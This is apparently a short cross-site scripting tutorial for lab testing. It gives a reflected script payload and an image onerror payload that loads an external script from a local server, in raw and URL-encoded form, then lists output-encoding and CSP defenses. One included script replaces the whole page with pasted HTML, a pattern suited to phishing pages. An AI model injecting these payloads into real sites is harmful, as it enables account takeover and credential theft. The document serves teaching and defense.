Warning: Only test these examples on systems you own or are explicitly authorized to test (e.g. localhost or purpose-built labs). Misuse against third-party systems is illegal.
Cross-Site Scripting (XSS) happens when attacker-controlled input is included in a page and the browser executes it as code. The injected script runs in the victimβs browser with the siteβs privileges and can read DOM, make authenticated requests, or exfiltrate local data.
Reflected / basic (body context)
Put the URL-encoded payload into a parameter on a local app that reflects input. This is a safe, non-destructive test that only shows execution.
%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
localhost
Event-handler (when <script> is blocked but tags allowed)
Use an element event like onerror to dynamically load a harmless external file from a local server (lab only).
<img src="x" onerror="var s=document.createElement('script');s.src='http://localhost:9000/malicious.js';document.body.appendChild(s);">
%3Cimg%20src%3Dx%20onerror%3D%22var%20s%3Ddocument.createElement('script')%3Bs.src%3D'http%3A%2F%2Flocalhost%3A9000%2Fmalicious.js'%3Bdocument.body.appendChild(s)%3B%22%3E
python3 -m http.server 9000 and serve a harmless malicious.js (see below)
`malicious.js` (harmless lab file)
// malicious.js (lab only)
console.log('Lab external script executed β no harm done');
alert('External script executed (lab)');
or to inject generated page
// malicious.js (lab only)
const htmlContent = `PASTE_YOUR_GENERATED_HTML_HERE`;
document.open();
document.write(htmlContent);
document.close();
alert() or console.log() messages.With XSS an attacker can impersonate users, make authenticated API calls, capture credentials via phishing UI, or exfiltrate sensitive page content.
Output-encode user input by context (HTML, attribute, JS).
Example (PHP): htmlspecialchars($v, ENT_QUOTES|ENT_HTML5, 'UTF-8') or json_encode() inside scripts.
Use CSP, HttpOnly cookies, avoid innerHTML with untrusted data, and sanitize HTML with libraries like DOMPurify if you must allow markup.
localhost or systems you own.alert() or console.log().